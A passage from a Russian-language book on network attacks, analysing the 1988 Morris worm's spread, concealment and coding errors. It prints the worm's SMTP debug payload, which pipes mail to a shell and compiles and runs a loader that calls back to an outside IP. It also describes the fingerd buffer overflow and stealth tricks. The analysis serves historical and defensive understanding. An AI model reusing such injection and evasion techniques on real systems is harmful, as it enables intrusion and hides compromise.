Илья Медведовский - Атака на Internet
• потери машинного времени в результате отсутствия доступа к сети;
• потери доступа пользователей к сети.
Косвенные потери оценивались более чем в 66 000 000 долларов США. Общие затраты составили 98 253 260 долларов США.
Далее мы подробно опишем структуру, механизмы и алгоритмы, применяемые червем. Было решено свободно распространять их, в отличие от исходных текстов, полученных в результате дизассемблирования. Однако по истечении 10 лет такое ограничение потеряло свою актуальность (воспользоваться сегодня ими все равно не удастся), и необходимую информацию можно найти в Internet. Большая часть материала этого раздела взята из [21, 32].
Стратегии вируса
Для проникновения в компьютеры вирус использовал как алгоритмы подбора пароля (см. ниже), так и «дыры» в различных коммуникационных программах, которые позволяли ему получать доступ без предъявления пароля. Рассмотрим подробнее такие «дыры».
Отладочный режим в программе sendmailВирус использовал функцию «debug» программы sendmail, которая устанавливала отладочный режим для текущего сеанса связи. Дополнительная возможность отладочного режима заключается в том, чтобы посылать сообщения, снабженные программой-получателем, которая запускается на удаленной машине и осуществляет прием сообщения. Эта возможность, не предусмотренная протоколом SMTP, использовалась разработчиками для отладки программы и в рабочей версии была оставлена по ошибке. Таким образом, налицо типичный пример атаки по сценарию 1.
Спецификация программы, которая будет выполняться при получении почты, содержится в файле псевдонимов (aliases) программы sendmail или в пользовательском файле. forward. Такая спецификация используется программами, обрабатывающими или сортирующими почту, и не должна применяться самой программой sendmail. В вирусе эта программа-получатель содержала команды, убирающие заголовки почты, после чего посылала остаток сообщения командному интерпретатору, который создавал, компилировал и выполнял программу на языке С, служившую «абордажным крюком», и та, в свою очередь, принимала оставшиеся модули из атакующей машины. Вот, что передавал вирус через SMTP-соединение:debug
mail from: </dev/null>
rcpt to: <"|sed -e ‘1,/^$/d‘ | /bin/sh ; exit 0">
data
cd /usr/tmp
cat > x14481910.c <<‘EOF‘
<текст программы l1.c>
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
.
quitВирус заражал компьютеры двух типов – VAX и Sun, поэтому пересылались двоичные коды для каждой архитектуры, оба запускались, но исполняться мог только один. В компьютерах других архитектур программы не могли функционировать, хотя и поглощали системные ресурсы в момент компиляции. Ошибка в демоне fingerd Другой позволявший вирусу распространяться изъян, также относящийся к типовому сценарию 1, находился в программе fingerd. Данная программа содержала в себе фрагмент кода примерно следующего вида:
{
char buf[512];
....
gets(buf);
..
}Налицо классическая ситуация переполнения буфера (впрочем, тогда она, видимо, еще не была классикой). Вирус передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve(«/bin/sh», 0, 0). Как видно, за 10 лет технологии переполнения буфера не сильно изменились.
Указанным способом атаковались только машины VAX с операционной системой 4.3BSD; на компьютерах Sun, использующих SunOS, такие атаки терпели неудачу.
Удаленное выполнениеВирус использовал протокол удаленного выполнения программ (rexec), который требовал для выполнения программы на удаленной машине только имя пользователя и незашифрованный пароль. Для этого в программе имелись имена и пароли пользователей локального (атакующего) хоста, потому что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети. Эта атака, как и следующая, относится уже к сценарию 4.
Удаленный командный интерпретатор и доверенные хостыВирус пытался использовать программу запуска удаленного интерпретатора (rsh) для атаки других машин с полученным именем и паролем текущего пользователя либо вообще без аутентификации, если атакуемая машина «доверяла» данной. (Файлы /etc/hosts.equiv и. rhosts содержат список машин, «доверяющих» данной, то есть доступных для запуска rsh с этой машины.) Он пробовал три различных имени для rsh:
• /usr/ucb/rsh;
• /usr/bin/rsh;
• /bin/rsh.
Удаленный интерпретатор по своей функции напоминает программу удаленного исполнения, но обладает более дружественным интерфейсом, так как дистанционно запускается командный интерпретатор, а не функция exec.
Маскировка действий вирусаДля сокрытия своих действий вирус осуществлял ряд мер:
1. Стирался список аргументов по окончании их обработки, поэтому команда ps не могла показать, каким образом были вызваны вирусные программы.
2. Исполняемые файлы вируса после своего запуска немедленно уничтожались, и нельзя было понять, откуда появился процесс. Если зараженная машина перезагружалась во время исполнения вируса, то специальная программа автоматически восстанавливала файл после перезагрузки.
3. Размер аварийного дампа устанавливался равным нулю. Если программа аварийно завершалась, то она не оставляла после себя никаких следов. Также отключались сообщения об ошибках.
4. Вирус был скомпилирован под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, часто применяемым в командных файлах. Даже старательный администратор системы не замечал увеличения числа интерпретаторов, функционирующих в системе, или не придавал этому значения.
5. Вирус размножался, разветвляясь на два процесса (родитель и потомок), примерно каждые три минуты. Процесс-родитель после этого завершался, а процесс-потомок продолжал работать. Происходил эффект «обновления», так как для нового процесса учет используемых ресурсов начинался с нуля. Кроме того, эта мера затрудняла обнаружение вируса.
6. Все текстовые строки, используемые вирусом, были закодированы с помощью операции «Исключающее ИЛИ» – XOR 81H. Этот слабый метод позволил скрыть важные текстовые строки, например имена открываемых вирусом файлов.
Ошибки в коде вируса
Вирус содержал некоторое количество ошибок – от очень тонких и почти не влияющих на его работу, до грубых и неуклюжих. Остановимся на них подробнее.Предотвращение повторного заражения
Участок кода для предотвращения повторного заражения содержал много ошибок. Это имело решающее значение: многие машины заражались повторно, нагрузка на системы и сеть увеличивалась и становилась весьма ощутимой (некоторые машины даже не могли с ней справиться).
Вирус, «проверяющий» наличие других вирусов, пытался связаться с портом 23357, чтобы установить контакт с «отвечающим» вирусом. Если это не удавалось, вирус предполагал, что других вирусов нет, и сам становился «отвечающим». Если связь устанавливалась, «проверяющий» посылал магическое число 8 865 431 и в течение 300 секунд ожидал другое магическое число 1 345 688. Если число было неверным, «проверяющий» разрывал связь. Потом он выбирал случайное число и посылал «отвечающему». Затем в течение 10 секунд ожидал возврата другого случайного числа, после чего складывал его с посланным. Если сумма оказывалась четным числом, то «проверяющий» устанавливал значение переменной pleasequit (см. ниже). Иначе говоря, каждый раз из двух вирусов один «смертник» выбирался случайно.
После окончания (успешного или неудачного) сеанса связи «проверяющий» «засыпал» на 5 секунд и пытался стать «отвечающим». Для этого он создавал TCP-сокет, устанавливал его параметры для межпроцессной связи и подключал его к порту 23357.
Этот код содержал множество ошибок, и приходится только удивляться, что он вообще работал. Ошибки проявлялись при следующих условиях:
1. Если несколько вирусов заражали чистую машину одновременно, то они также одновременно пытались найти остальных в режиме «проверяющих». Так как никто не мог их найти, они постепенно переключались в режим ожидания сообщения, и один из вирусов получал его, а остальные прекращали попытки связаться друг с другом и не отвечали на запросы.
2. Если несколько вирусов одновременно стартовали в присутствии другого уже работающего вируса, то только одному из них удавалось связаться с активным вирусом, остальные не могли этого сделать. Заметим, что здесь выражение «одновременно» подразумевает 5-20-секундный промежуток.
3. Если машина работала медленно или была сильно загружена, то это могло привести к израсходованию вирусом лимита времени, отпущенного на установление связи с другими вирусами, что приводило к прекращению обмена.
Критичная ошибка содержалась в коде, когда вирус решал, что должен завершиться. Все, что он делал, – устанавливал переменную pleasequit. Это не давало эффекта до тех пор, пока вирус:
• не собрал список имен машин для их атаки;
• не собрал список имен пользователей;